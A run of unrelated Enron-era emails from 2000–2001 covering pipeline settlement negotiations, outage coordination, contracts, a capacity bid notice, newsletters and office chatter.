Fuel was the other contentious issue that seems to be a key sticking point 
for certain parties -- some insist it has to remain in the settlement, others 
say there can't be a settlement if it stays in.  El Paso's proposal would 
move the fuel rate back to 4.85% effective 2/1/00 by changing the way they 
eliminate fuel used in facilities that have been refunctionalized as 
gathering.  In the filing to be effective 2/1/01, the rate would go down to 
approximately 4.4% and then to 3.88% on 1/1/03.  Burlington insists they will 
opt out of the settlement if they don't get relief on fuel.  Apparently, to 
the extent El Paso doesn't include the costs of compressors that Burlington's 
gas utilizes in systemwide fuel, they have to pay a higher fuel rate to El 
Paso's gathering affiliate.  They say it has already cost them several 
million dollars (I heard numbers between $9 and $27 million -- no hard data), 
and they will not settle without getting something in return.  

After the full group discussion and statements of position on Monday 
afternoon, Rick Miles, the FERC ADR facilitator, pushed for individual 
meetings between the various segments (EOC, California, producers, marketers, 
El Paso), based on several parties' representations that they were willing to 
continue talking.  A schedule was worked out and the individual meetings took 
up the morning on Tuesday.  Just before lunch, the entire group got back 
together and accepted Mr. Miles' suggestion that each segment select three or 
four representatives who would then engage in a full discussion of the 
issues.  He felt that with a smaller group it might be easier to reach some 
understandings.  However, it apparently didn't work because he called us all 
back late in the afternoon for a full group discussion, where the positions 
outlined above were stated and restated.  Certain parties, when pressed, 
could not agree to certain basic principles because, they said, they would 
have to get input from others in their organization.  Mr. Miles expressed his 
frustration that parties were at the table who didn't know what their bottom 
line position was (e.g., SoCal Gas, Southwest Gas).  Following discussion by 
the producers, particularly Burlington, as noted above that they would not 
agree to an extension of the date for filing comments, the next settlement 
meeting was scheduled after the filing dates.  Mr. Miles requested that 
parties send him an e-mail note that would state their bottom line settlement 
position, which he would keep confidential.  He would review all the 
positions and to the extent possible put then together and float a settlement 
package of his own.  He assured all that no one would be able to identify the 
individual positions from his package.

One positive note at this meeting was that there was no conflict over the 
pooling committee's report.  No one registered any complaints, although a few 
parties who had not been at the last settlement conference indicated that 
they would like to participate.

 This is how I see our bottom-line position.  I would like to send it to Rick 
late this week if everyone agrees.

A pooling procedure that will follow assigned priority rankings for both 
market and supply with no restrictions on pool-to-pool transfers (loops 
allowed).
Only San Juan receipt point rights on our Havasu contract, or, preferably, 
termination of the contract so that the San Juan rights could be allocated to 
others as part of a settlement.
Full requirements shippers systemwide rights above their specified point 
rights would not have a higher priority than CD shippers using alternate 
delivery points, although no objection to using some allocation method other 
than billing determinants, such as peak day volume, to establish those 
specified point rights. 

Do you have any opinion about the allocation of SoCal/Topock rights?  Please 
give me a call when you've had a chance to look this over.  I'm sure you'll 
have some questions!  Also, we'll need to talk about what kind of comments we 
want to file.

FYI, Kim.

From: =09Moore, Jan =20
Sent:=09Thursday, November 15, 2001 9:15 AM
To:=09Watson, Kimberly
Subject:=09RE: Outage Commericial Review Meeting (NNG,TW, & NBPL)

Biggest impact was lower retained fuel volumes.  Overall impact is around $=
45K - $50K.

Jan

From: =09Watson, Kimberly =20
Sent:=09Wednesday, November 14, 2001 5:23 PM
To:=09Moore, Jan
Cc:=09Harris, Steven
Subject:=09FW: Outage Commericial Review Meeting (NNG,TW, & NBPL)

Jan,=20
What impact does this change have on our earnings? =20

Thanks, Kim.

From: =09Graves, Jerry =20
Sent:=09Wednesday, November 14, 2001 4:20 PM
Cc:=09Moore, Jan

Yes, the flow affects of the Station 2 tie-ins for Red Rock. The estimated =
flow I was showing on the outage report was 130 mmcfd, (per Eric Faucheaux =
Planning) and the actual affect is 180 mmcfd.

The tie-in for the Gray Co. I/C will call for a 2 day outage at P3. (11/29/=
01 to 12/01/01) Darrell is going to post something on it today.

I also had a WT2 outage on the report that the field was asking for. It sho=
wed a complete Station shut down for 24 hours. Darrell and I talked the fie=
ld into moving it to next year. (Early March) If you have any questions let=
 me know.

Jerry

Sent:=09Wednesday, November 14, 2001 3:23 PM
To:=09Graves, Jerry

Jerry,=20
Was there anything for TW that came out of this meeting that we need to be =
aware of?

Sent:=09Wednesday, November 14, 2001 8:09 AM
To:=09Alexander, James C.; Blair, Lynn; Bonnstetter, Mike; Boothe, David; B=
oston, Jerry; Brown, Sharon; Bryant, Mike; Buchanan, John; Burns, Christoph=
er; Clark, Scott; Cordes, Bill; Corless, Gary; Corman, Shelley; Geaccone, T=
racy; Gilbert, Tom; Good, Chuck; Gottsponer, Morgan; Graham, Charlie; Grave=
s, Jerry; Harris, Steven; Hood, Colleen; Howard, Randy; January, Steve; Jol=
ly, Rich; Jordan, Fred; Keller, John R.; Kowalke, Terry; Kudym, Judy; Kuehl=
, Toby; Lawrence, James; LeBeau, Randy; Lowry, Phil; Maestas, Gary; Mall, G=
reg; Martens, Donna; McGillivray, RR; Moore, Jan; Morse, Ronnie; Nelson, Mi=
ke; Neubauer, Dave; Odneal, Dave; Rice, Randy; Roensch, David; Schoolcraft,=
 Darrell; Schroeder, Jim; Smith, Rick; Spraggins, Gary; Stephens, LD; Swett=
, Larry; Thomas, Steve; Watson, Kimberly; Williams, Jo; Williams, Walt; Abd=
moulaie, Mansoor; Alters, Dennis; Dushinske, Adam; Faucheaux, Eric; Frazier=
, Perry; Gilbert, Maurice; Hughes, Matt; Matthews, Ron; Ramsaran, Gale; Smi=
th, Buzz; Anderson, Ken; Aschwege, Doug; Beck, Judy; Descoteaux, Carolyn; D=
obbins, Dan; Johnson, Robert L.; Kolarik, David; Reinecke, Bryan; Sans Souc=
i, Becki; Westfall, Roger; Asante, Ben; Choquette, Gary; McChane, Bob; Stur=
n, John; Wirasinghe, Errol
Subject:=09Outage Commericial Review Meeting (NNG,TW, & NBPL)

FYI,

The next Outage Coordination Commercial Review meeting is 11/14/01.  The pu=
rpose for the meeting is to discuss outages that have a flow impact for the=
 month of December. Please review the attached outage report. If you have a=
ny questions, please give me a call. =20

 << File: 111301Ts.xls >>=20

Jerry Graves=20
713-345-8923

When: November 14
Time: 1:00 to 2:00
Where: Houston 49C2
             Omaha  VCR - 7th floor
             Field - Conference # 877-795-3687 =20
                        Code # 755555

NORTHERN BORDER PIPELINE=09
=09 =09 =09 =09 =09
 =09Location=09Date=09Scope=09Comments=09
NB=09CS11=0912/03/01 to 12/03/01=09 Scope/Wash, MP2, and Cooler mods.(10 hr=
s)=09Potential impact is low.=09
NB=09CS07=0912/13/01 to 12/13/01=09 Maintenance/Wash, MP2, and Cooler mods.=
          (10 hrs)=09Potential impact is low.=09
NB=09CS03=0912/11/01 to 12/11/01=09 Wash, MP2, (10 hrs)=09Potential impact =
is low.=09

16

Becky Young@ENRON
04/18/2001 09:28 AM
To: Nelson Ferries/Corp/Enron@ENRON, John Craig Taylor/HOU/ECT@ECT, Keith 
Holst/HOU/ECT@ect, Hunter S Shively/HOU/ECT@ECT, Frank W 
Vickers/NA/Enron@Enron, Jeffrey C Gossett/HOU/ECT@ECT, John J 
Lavorato/Enron@EnronXGate, Barry Tycholiz/NA/Enron@ENRON, Mike 
Maggi/Corp/Enron@Enron, George N Gilbert/HOU/ECT@ECT, John 
Griffith/Corp/Enron@Enron, Charles H Otto/HOU/ECT@ECT, Mark 
Smith/Corp/Enron@Enron, Jason R Williams/Enron@EnronXGate, Scott 
Neal/HOU/ECT@ECT, Ross Prevatt/HOU/NewPower@NEWPOWER@EES
cc:  
Subject: Whispering Pines Golf Outing

Please e-mail me your handicap for the outing on April 28.

Thanks,
Becky

Jim - overnight I realised you need to add our project in Turkey (Fiona 
Grant) and Poland (Philip Davies).  I have not given you any one person, as 
the regulatory issues seem to be country/environment specific, and instead I 
have given you the names of each person with country responsibility.  Indeed, 
at year-end we completed a financial transaction (Project Margaux), in which 
regulatory risk was reviewed.  A definition of Rugulatory Risk would be 
helpful, e.g., in most of these markets, trading arrangements are being 
re-written, or developed for the first time, this put existing PPAs under 
pressure.  Would energy taxes, carbon taxes/trading, transmission pricing 
(both for evacuation of power, and delivery of gas), changes in property 
tax/fuel tax regimes, risk of price regulation, all be included?  Do you have 
checklist?  We can identify these risks, what is meant by "manage"?  We work 
on these types of issues on a daily basis, so I am unclear as to what else is 
intended or implied.  thanks  mcs     

James D Steffes@EES
08/02/2000 17:24
To: Richard Shapiro/HOU/EES@EES, Mark Schroeder/LON/ECT@ECT
cc: Steven J Kean/HOU/EES@EES 

Subject: Assignment of Regulatory Risk Responsibility for Current Assets

Rick & Mark --

One of the first steps in building our Regulatory Risk process is to 
establish responsibility for the current assets owned/managed by Enron.  
Having a point person that I can contact will help me immensely.

Attached is a listing of the assets that I have been able to pull together -- 
there may be more that you know about.

Is it possible for us to agree upon the person(s) who will manage the 
Regulatory Risk with each of these assets?  Please feel free to call me to 
discuss.

I would like to have this assignment process complete within the month.

The same type of effort will be necessary as we review pending transactions.

Thanks.

Thanks for sharing.  She's just adorable!  

From: Douglas Nichols/ENRON@enronxgate on 03/24/2001 12:17 PM CST
To: Mary Hain/HOU/ECT@ECT
cc:  
Subject: Fwd: I'm back

Mary,
I told you I had a picture of Stan's new addition - here it is.  dn

Date:  03/09/2001  10:23 am  (Friday)  
From:  "Berman, Stan " <SBerman@HEWM.com>
To:  "'douglas_nichols@pgn.com '" <douglas_nichols@pgn.com>
CC:  "'jim_piro@pgn.com '" <jim_piro@pgn.com>
Subject:  I'm back

Hi,

Over the past weeks, I have been staying at home with my new daughter (a
picture is attached, though it does not do her justice).  Monday, March 12,
I intend to return to the office.

My sense is that Paul Mohler has been doing a fine job running the rate
case.  I hope you agree -- if not, please tell me.  I intend to start
reintegrating myself into the RTO West/TransConnect work, and will call to
discuss -- I'm writing now to get you thinking about it.

Stan

I think his interest is a marketing/oringination/business development role.

Mariella Mahan@ENRON_DEVELOPMENT
08/18/2000 02:18 PM
cc: David Haug/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Max 
Yzaguirre/NA/Enron@ENRON@ECT, Shawn 
Cumberland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 
Subject: Re: Resume  

Scott,
I know James McCord personally.  He used to work for Coastal, as part of the 
fuels marketing group.  I have worked with him in the past.  Do you know what 
he is interested in?  His background at Coastal was, as I mentioned, fuels.  
Thanks! Mariella
ps: sorry for the horribly late reply/reaction.

Scott Neal@ECT
07/31/2000 03:53 PM
To: David Haug/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mariella 
Mahan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Max Yzaguirre/NA/Enron@ENRON, 
Shawn Cumberland/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

Subject: Resume

David, Mariella, Max, Shawn,

Please see the resume of James McCord attached below.
He has extensive international experience in Central and South America and 
Mexico.
Any interest?

---------------------- Forwarded by Scott Neal/HOU/ECT on 07/31/2000 03:46 PM 

Scott Neal
07/07/2000 04:54 PM
To: David Haug/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:  

David,

I left a voice mail for you today regarding James McCord.  I have attached 
his resume below for your reference.  
Mexico.
Can I have James call you or someone in your group to visit about possible 
opportunities?

Thank you. 
Scott Neal

---------------------- Forwarded by Scott Neal/HOU/ECT on 07/07/2000 04:49 PM 

"James R. McCord" <jrmccord@hotmail.com> on 07/07/2000 04:36:37 PM
cc:  

 - 2000Resume.doc

Greeting My Sisters In Christ,

I was just touching basis with the both of you as frontliners to say that
we are blessed and highly favored in the eyes of  God. On last night, the
group participated in a three-way and it was a blessing and it was agreed
on last night that we too would be participating in the fast on Wednesday
as well.

We all agreed to do the fast with water only, because we know that there
are different kinds of fast and I wasn't sure what others were doing, but
my feeling is that whatever we do as a unit and as long as we are doing it
to the Glory and Honor of God, then He honors what's in our hearts.

I believe that this is only the beginning of change and that God is truly
doing a new thing in the saints of God. The fast was a blessing for me on
today. I got up this morning with a spirit of expectation, not knowing what
to expect, but knowing that God was doing something powerful in the spirit
realm.

I believe that as we continue to walk in unity, keep our focus, commit our
work unto Him, that God will establish our thoughts and He will complete
that which He has started in us....A good work.

Be blessed :-)
Edith

I called my friend at HPD, he is out of town for a few days while his dad has surgery.  I also left another message for a friend I went to grad school with for him to recommend someone.  I'll call you later with a name or two.

Kevin

Mark

Thanks for your response on this. I thought that in principle many of the 
hedges we used would be harmless, however, I would feel more comfortable with 
a more detailed review with you, particularly since one of the hedging 
transaction types involves the use of Enron stock.

Let me know when would be a convenient time to brief you.

Regards
David

Dave:

I read Gordon Bethune's comments is the Chronicle this morning and if he concerned about Continental's solvency, the other carriers must be even more at risk.   As Bill and I are traveling, could you help in asking for a recap of our Airline positions?   We probably should identify the universe of names.   Given the high operating leverage in this industry, coupled with lease leverage, it does not take much to go negative.   For United and American I would imagine access to CP and revolvers would be potentially problematic.   I will be Bill at about 6:45 before we leave, if this is already in process, I'll leave a voice mail.

Regards,

Michael

Here's my request for rehearing so far.  The marketing folks are helping me 
with our competitive harm argument and will, I hope, come up with something 
plausible.  In the meantime, I would appreciate your comments.

Forbes.com * http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153578 * Dec. 27, 2001
-----------------------------------------------------------
Forbes.com: Where the Internet gets down to business
ONLINE TODAY AT FORBES.COM

  * Enron Shifts Cash To Democrats
  * The Best Destinations Of 2001
  * Growth Ahead For Avon
  * Guilt-Free Guzzling
  * Gaming On A PDA
  * The Judgment Of Paris
  * Russian Oil Roulette

=================================================================

ENRON SHIFTS CASH TO DEMOCRATS
Just before bankruptcy, Enron gave $100K to the Democrats. Its
lawyer calls it business as usual.
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153579

THE BEST DESTINATIONS OF 2001
From African safari parks to Caribbean islands, an end-of-the-year
look back at our favorite "Destinations of the Week." 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153580

GROWTH AHEAD FOR AVON
Despite a retailing slump and unfavorable exchange rates, Avon
maintains double-digit earnings growth. 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153581

GUILT-FREE GUZZLING
At today's gasoline prices, the nutty ideas to improve auto
efficiency don't make economic sense. 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153582

GAMING ON A PDA
If handhelds are all about productivity, why are there so many
games for them? 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153583

THE JUDGMENT OF PARIS
At least once in your life you should stay at the Hotel Ritz in
Paris. 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153584

RUSSIAN OIL ROULETTE
The former Soviet Union says it will cut oil production, but the
signals it's sending indicate otherwise. 
http://tm0.com/forbes/sbct.cgi?s=167547968&i=436405&d=2153585

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THANKS!!!!!!!!

Marie

From: 	"Dixon, Billy D" <billy.dixon@bp.com>@ENRON  
Sent:	Tuesday, November 06, 2001 1:00 PM
To:	Heard, Marie
Subject:	RE: Enron Canada Corp

Principal Operating Offices:

BP Corporation North America Inc.
200 East Randolph Drive
Chicago, Illinois 60601

BP Energy Company
501 West Lake Park Boulevard
Houston, Texas 77079

Vastar Resources, Inc.

BP Canada Energy Company
240 - 4th Avenue S.W.
Calgary, Alberta T2P 4H4

BP Canada Energy Marketing Corp.

Cibola Energy Services Corporation
350 N. St. Paul Street

IGI Resources, Inc.

BP Oil Supply Company

BP Products North America Inc.

BP Amoco Chemical Company

Atlantic Richfield Company
333 S. Hope Street
Los Angeles, CA 90071

Amoco Production Company
501 WestLake Park Boulevard

BP Chemicals Inc.

From: Heard, Marie [mailto:Marie.Heard@enron.com]
Sent: Tuesday, November 06, 2001 8:54 AM
To: billy.dixon@bp.com
Subject: RE: Enron Canada Corp

I sure will if you will tell me the principal place of business of all
your entities party to the Master Netting Agreement.

Enron Canada Corp.
3500, 400 - 3rd Avenue S.W.
Calgary, Alberta  T2P 4H2

> From: 	"Dixon, Billy D" <billy.dixon@bp.com>@ENRON
> Sent:	Tuesday, November 06, 2001 7:47 AM
> To:	Heard, Marie
> Subject:	Enron Canada Corp
>
> Would you please tell me where Enron Canada Corp.'s principal place of
> business in Canada is located?
>
> Very truly yours,
>
> BILLY
> Billy D. Dixon
> Attorney
> BP America Inc.
> 501 Westlake Park Blvd., Rm 16.166
> Houston, Texas 77079
> Direct 281/366-4745
> Fax 281/366-5901
> billy.dixon@bp.com
>
> ***IMPORTANT -- THIS EMAIL AND ANY ATTACHMENTS HERETO ARE
> ATTORNEY-CLIENT
> AND/OR ATTORNEY WORK-PRODUCT PRIVILEGED AND CONFIDENTIAL.  If you have
> received this email in error, do not under any circumstances read,
> forward,
> copy, disseminate or save this email or any of its attachments.  If
> you have
> received this email in error, take the following actions: (1) reply to
> this
> email indicating that you received this email in error, and (2) delete
> and
> completely erase this email and its attachments from your computer and
> any
> backup systems or "Deleted Items" folders.
>

Thank you.

The report named: Violation/Notification Memo <http://erv.corp.enron.com/linkFromExcel.asp?report_cd=60&report_name=Violation/Notification+Memo&category_cd=2&category_name=ENRON%20CONSOLIDATED&toc_hide=1&sTV1=2&TV1Exp=Y&current_efct_date=10/08/2001>, published as of 10/08/2001 is now available for viewing on the website.

?=20

Dear  Mr Lay,

As  you may be aware, the Tata Energy and Resources Institute- North Americ=
a =20
(TERI-NA) is a publicly owned not-for-profit research organization=20
incorporated  under section 501(c)(3) in 1990 in Washington D.C, at the=20
initiative of TERI  (Tata Energy Research Institute), New Delhi. The genesi=
s=20
of TERI-NA is rooted in  the realization that emerging global concerns abou=
t=20
the energy and environment  must bring together new partnerships between=20
developing and developed countries  through active communication and=20
collaboration.=20

In recent years, the South Asian  region,?has experienced an increasing oil=
=20
demand-supply mismatch, thereby  pointing to a growing dependence on import=
s=20
and?enhancing energy security  concerns in the region. It is=20
therefore?pertinent to identify strategies  that need to be developed and=
=20
implemented in a proactive manner so as to enable  an effective response to=
=20
supply disruptions, and to reduce oil import dependence  through fuel=20
diversification, diversification of the sources of supply, and  specific=20
technological interventions.

?India  and the United States have sought a revitalized relationship betwee=
n=20
the world's  most powerful and largest democracies. For the South Asian=20
region, the message  has been one of continuing interest in ensuring peace=
=20
and stability. The timing  is therefore appropriate to undertake a program=
=20
that would facilitate dialogue  between energy producing and consuming=20
countries, identify opportunities for  integrating regional energy markets,=
=20
and assist in enhancing investments in  clean and sustainable energy=20
development.=20

With  these objectives in view, a one-day workshop on =01+Energy Security=
=20
Concerns and  Response Strategies for South Asia=01,, is being organized wi=
th=20
support from the US  Department of Energy, on February 10, 2000, in New=20
Delhi. The workshop is being  organized in conjunction with TERI=01,s 1st D=
elhi=20
Sustainable  Development Summit, which would focus on the challenges that=
=20
underlie global  sustainable development, requiring unprecedented efforts o=
n=20
the part of  governments, corporate organizations, and civil society.=20

?Our  initiative in organizing this workshop is intended to complement the=
=20
efforts  that are already underway for ensuring a stable and secure energy=
=20
sector in the  region. As a follow-up to the workshop, it is proposed to=20
disseminate the  discussions and proceedings thereby ensuring a wider=20
understanding of issues,  and to undertake cooperative research under each=
=20
priority  area.

?In  view of Enron's pioneering efforts in securing safe and stable global=
=20
energy  developments, we would be very grateful if?Enron could consider=20
providing  financial support for this workshop to the extent possible, as=
=20
well as  participate in the workshop. I am enclosing a copy of the proposal=
=20
for your  consideration and would be happy to provide any further  details.

?I  look forward to receiving a favorable response from you.

?With  warm personal regards,

?Yours  sincerely,

R.K  Pachauri

President

Tata  Energy and Resources Institute

?

?
 - Propos~1.doc

Lee Huber has located copies of the Bloomfield O&M & Compression Services Agreements and a copy of the Bisti O&M Agreement.  She is giving these copies to Bill Brown.

From: 	Donoho, Lindy  
Sent:	Friday, November 02, 2001 3:04 PM
To:	Brown, William E.; Centilli, James
Cc:	McEvoy, Christine; Pavlou, Maria; Huber, Lee; Watson, Kimberly; Harris, Steven
Subject:	FW: TW Contracts        FYI

I have provided to TW's Gas Logistics Group copies of the following facility related agreements:

	La Plata Facilities Ownership & Operating Agreement between TWPL & Northwest Pipeline dated November 3, 1995.
	WT-1 Compressor Station Electric Agreements between TWPL & Southwestern Public Service:
		Electric Service Agreement dated March 8, 1996
			Amendment effective June 1, 2000
		Agreement dated October 27, 1999
	Bisti Compressor Station Electric Agreements between TWPL & Enron Compression Services:
		Compression Services Agreement dated March 31, 1999
			Amendment effective June 18, 1999
			Letter Agreement dated June 18, 1999	
			Letter Agreement dated June 30, 1999
		Operations & Maintenance Agreement dated September 9, 1996 (I don't have a copy of this.  I just have a copy of the Amendment.)
			Amendment dated June 18, 1999
	Gallup Compressor Station Electric Agreements between TWPL & Enron Compression Services:
		Compression Services Agreement dated October 18, 1999
		Gas Conversion Agreement October 18, 1999
			Letter Agreement dated February 23, 2000
			Amendment dated March 24, 2000
		Operations & Maintenance Agreement dated October 18, 1999
		Operational Control Agreement dated February 11, 2000
	Gas Logistics (Christine McEvoy) already had copies of the Blanco Hub Agreements.

I don't have copies of the March 31, 1999 Bloomfield Compression Services Agreement or the September 9, 1996 Bloomfield Operations & Maintenance Agreement  (referenced in the Bisti Agreements).  James, do you have copies?  Who else would have a copies?    

From: 	Pavlou, Maria  
Sent:	Friday, November 02, 2001 1:50 PM
To:	Huber, Lee; Porter, Gregory J.; Donoho, Lindy
Subject:	RE: TW Contracts        FYI

Lindy pls. identify what you send, i.e. the name of the agreement, date and party who its with,  with a copy to Bill E. Brown on 47.  thank you.  Maria

From: 	Huber, Lee  
Sent:	Friday, November 02, 2001 1:48 PM
To:	Pavlou, Maria; Porter, Gregory J.
Subject:	TW Contracts        FYI

Lindy Donoho is providing copies of the joint operating agreements for the La Plata facilities and the Blanco Hub. She is also providing copies of the contracts for the electric compression at Bisti, Bloomfield, WT1 and Gallup.  She is sending the copies to Christine McElr

From: 	Weitekamp, James  
Sent:	Tuesday, November 27, 2001 11:03 AM
To:	Barnes, Caroline; Concklin, Elaine; Gilbert, Steve; Keiser, John; Perchal, Cheryl
Subject:	Capital for TW

Tracy needs capital based on the 3rd CE for Transwestern in as much detail as possible by the end of the day.

Mark, open up felix the cat.  He is adorable!
---------------------- Forwarded by Tana Jones/HOU/ECT on 10/13/99 03:54 PM 

Marie Heard on 10/13/99 03:32:26 PM
To: Tana Jones/HOU/ECT@ECT, anne_heard@ryderscott.com
cc:  
Subject: FW: FOR YOU CAT LOVERS

---------------------- Forwarded by Marie Heard/HOU/ECT on 10/13/99 03:31 PM 
   
	From:  Genia FitzGerald                           10/13/99 02:54 PM
	
To: Marie Heard/HOU/ECT@ECT
cc:  

---------------------- Forwarded by Genia FitzGerald/HOU/ECT on 10/13/99 
02:53 PM ---------------------------

Rhonda L Denton
10/13/99 02:44 PM
To: Genia FitzGerald/HOU/ECT@ECT, Anthony Campos/HOU/ECT@ECT, Laura 
Dewett/HOU/ECT@ECT, Melissa Ann Murphy/HOU/ECT@ECT, Veronica 
Gonzalez/HOU/ECT@ECT, Amy Degeyter/HOU/ECT@ECT, Dean Laurent/HOU/ECT@ECT, Kim 
S Theriot/HOU/ECT@ECT, Stephanie Piwetz/HOU/ECT@ECT, Marilyn 
Colbert/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Lisa Shoemake/HOU/ECT@ECT, 
Susan Bulgawicz/EPSC/HOU/ECT@ECT, Thresa A Allen/HOU/ECT@ECT
cc:  

This is great.....  After it opens you can stop the cat by clicking on the
cat then exit.  We did not know and the cat just kept on appearing in our
screen.  Mine is saved to my desk top so I have a cat wandering around on my
banner screen.

 - Felix21.exe

Sheila,

Done. Please, note. There are some bugs in the system.
B. Glisan is listed as my supervisor.

Vince

	From:  Sheila Walton                           07/30/2000 11:24 PM
	
cc:  
Subject: MISSING PRC INFORMATION

Vince, the following information is missing from your employee profile which 
will be used at the MD PRC meeting on 8/15/00:

Current Responsibilities
Previous experience at Enron

Please go into your GIS file and update by end of business day Monday, July 
31st.  

If you have any questions or problems getting into your file, please call 
Kathy Schultea at EXT 33841. 

Thank you.

Mark can we put togethr a term sheet for the below deal. I think it would be 
along the lines of a licensing agreement to use a version of EnronOnline that 
allowed Natsource to transact with Enron on the behalf of various 
counterparts. The transaction attempt would identify who they were attempting 
to transact on behalf of. The deal would be a one year deal @ 200K payable 
upon delivery of the application.

Let's discuss.

andy
---------------------- Forwarded by Andy Zipper/Corp/Enron on 09/15/2000 
10:03 AM ---------------------------

"Jack D. Cogen" <jcogen@natsource.com> on 09/14/2000 10:48:34 AM
To: "'Andy.Zipper@enron.com'" <Andy.Zipper@enron.com>
cc:  

Subject: RE:

Andy,
I have no problem with any of your three points.  I would prefer a two year
deal @200 per annum.
What's the next step?
Jack

Sent: Thursday, September 14, 2000 11:53 AM
To: Jack D. Cogen
Subject: Re:

Jack,
I should have set the time for 30 days. If it is 15 we will automatically
renew for another 15 days and therafter if apporpriate.

Here are my thoughts:

1). I think we will need to go to phase II immediately. From a legal and
control standpoint, doing the trades as Natsource with a give up to client
at end of day gives us a lot of heartburn. We don't really know who we are
dealing with and even with the margin it could put us in violation of
certain board authorized policies. The good news is that my head IT guys
thinks giving you a client application with a "pick list" is not a lot of
work and could be turned around in fairly short order.

2). We will make Natsource the first broker customer to have this app as
long as you guys are willing to work with us.

3). We are more interested ina one year deal at $200K.

Let's start negotiating, and see if we can't paper something prety soon. I
would think the technology could be turned around within 60days of signing.

Let me know,
Andy

Kate, we have created the confirm that represented the original deal.  Total 
400 mws, we have sent the confirm to Idaho, broker confirm matches original 
deal, Melissa said we usually do not reconfirm deals that were cut.  We have 
put a comment in deal entry commenting that the deal was cut.  Just as long 
as you have all recorded on your side, with the mws.  Hope this helps.   
Thanks Sp 

   Kate Symes                04/09/2001 06:00 PM

To: Stephanie Piwetz/HOU/ECT@ECT
cc:  
Subject: Re: Deal 565759.01  

I'm sorry my response has been such a long time coming on this issue, but 
I've visited with almost every department in our office trying to figure out 
what happened to this deal. Basically, Idaho got their scheduled cut by the 
Cal-ISO, which in turn means we have to cut our schedule flowing to Idaho. So 
Jeremy Morris, one of our California schedulers, cut the first Idaho deal he 
found and passed the remainder of the schedule to Real Time to fill, which 
they did in a separate deal. So EPMI and Idaho are in agreement that the 
schedule got cut, but that we kept them whole by selling the remainder to 
Idaho in the hour-ahead market. 

Now the question is, how do we confirm the deal? From your side, is it better 
if we leave the deal as-is, or restore it to the original 25 mw off peak and 
kill the real time deal (which wouldn't really be an accurate representation 
of what happened)? Just let me know, and we'll do what we can to help.

Thanks,
Kate

Stephanie Piwetz   04/02/2001 12:00 PM

cc:  

Subject: Deal 565759.01

Kate, please check, deal 565759.01, I verballed the trade with APB on Friday 
3/30/01
Enron Sells Idaho
4/2-4/2
220.00    total mw s400
sp 15

Looks like it has been changed, each hour a different mw. 
Please let me know the details.
Thanks
Stephanie

He doesn't know that Sheila undermined his authority with his client, and 
intervened.  Remember her saying she wasing going to stay out of it?

Just shoot me if I do that to you.  Or at least kick me.

Kay

This morning in our meeting, we discussed 3 cases to be run in the TW 2010 model.  I've summarized them in the attached spreadsheet so we can keep track of our variables.  I will be sending you additional info for the various cases.  Please call to discuss.

Thanks,
Lindy
36007

Post Date: April 26, 2001 
Category: SHORT-TERM FIRM CAPACITY 
Subcategory: NWP OFFERS 
Subject: 01-237 Soliciting Electronic Bids 

Notice Text: 

All Shippers Notification: 01-237?????? Dated April 26, 2001 

TO:???? ??????? ALL SHIPPERS 

FROM:?? Candace C. Karpakis- (801) 584-6996 wk 
?????????????????????????????????????????????????????????????? (801) 971-5983 
cellular 

Williams Gas Pipeline-West 
Northwest Pipeline Transportation 

SUBJECT:??????? SOLICITING ELECTRONIC BIDS FOR 
AVAILABLE FIRM MAINLINE TRANSPORTATION 
CAPACITY ON NORTHWEST'S TRANSMISSION 
SYSTEM 

Northwest has posted the following package of available firm TF-1 
Large Customer transportation capacity to its Electronic Bulletin 
Board ("EBB") for competitive bid pursuant to the "Right-of-First- 
Refusal; Posting of Pipeline Capacity" provision of Northwest's 
Tariff, which requires availability of capacity to be posted to the 
EBB subject to bid.? All prearranged terms are indicated below, if 
applicable.? The prearranged shipper has the right to match the 
highest economic value at the end of the bid period.? If the 
prearranged shipper does not match the highest economic value, award 
of such capacity will be made according to Northwest's tariff. 

NOTE:? BIDS FOR POSTED CAPACITY WILL BE CONDUCTED ELECTRONICALLY AS 
CLOSED BIDS ON NORTHWEST PIPELINE'S EBB.? Please contact Candace 
Karpakis or your Marketing Services Representative if you encounter 
any problems with your EBB bid(s).? DON'T WAIT UNTIL THE LAST MINUTE 
TO POST YOUR BID.? Time deadlines are electronically monitored and 
implemented. 

PACKAGE "SS-1" 
From the 
April 19, 2001 Posting 
EBB OFFER # 510 

RECEIPT????????????? DELIVERY????????? TOTAL?????? INITIAL PRIMARY????? 
PREARRANGED 
POINT????????????????????? POINT???????????? DTH/D??????? CONTRACT 
TERM?????????? OFFER 

Sumas?? ??????????? Reno???????????? 3,399????????? 
05/01/01-05/31/01???????????? YES 
????????? 
Min. Acceptable Bid:??? $0.03 per Dth of daily Reservation Contract Demand 
for 
?????????????????????????????????????????????? Flexible Receipt/Delivery 
Point Rights 
Min. Acceptable Bid Vol:??????? 1 Dth/d 
Max. Acceptable Bid Vol:??????? 3,399 Dth/d 
Bid Open Date:? 04/26/01 - (4:00 pm Central Time) 
Bid Close Date: 04/27/01 - (4:00 pm Central Time) 
Award Deadline: 04/27/01 - (5:00 pm Central Time) 
Evergreen:????? ??????? NONE 
Special Terms & Cond:?? See 1, 2 and 3 Below. 

SPECIAL TERMS AND CONDITIONS 

1. The discount rate shall apply to points utilized by the original shipper 
entering into the transportation agreement with Northwest. 

2. A shipper will be allowed to release and/or segment and release the 
capacity 
and shipper and replacement shipper may utilize any available points on 
Northwest's transmission system without impacting the discount for the 
original shipper. 

3. This prearranged offer is for a reservation contract demand rate.? In 
addition 
to the Reservation Charge Bid, shipper will pay the volumetric charge, the 
applicable surcharges and fuel. 

PROCEDURE FOR BIDDING FOR 
AVAILABLE TRANSPORTATION CAPACITY 

The following guidelines will be adhered to for all posted packages of 
transportation 
capacity for electronic bid ("package or packages"): 

1. Shipper must submit a separate electronic bid for each package of 
available 
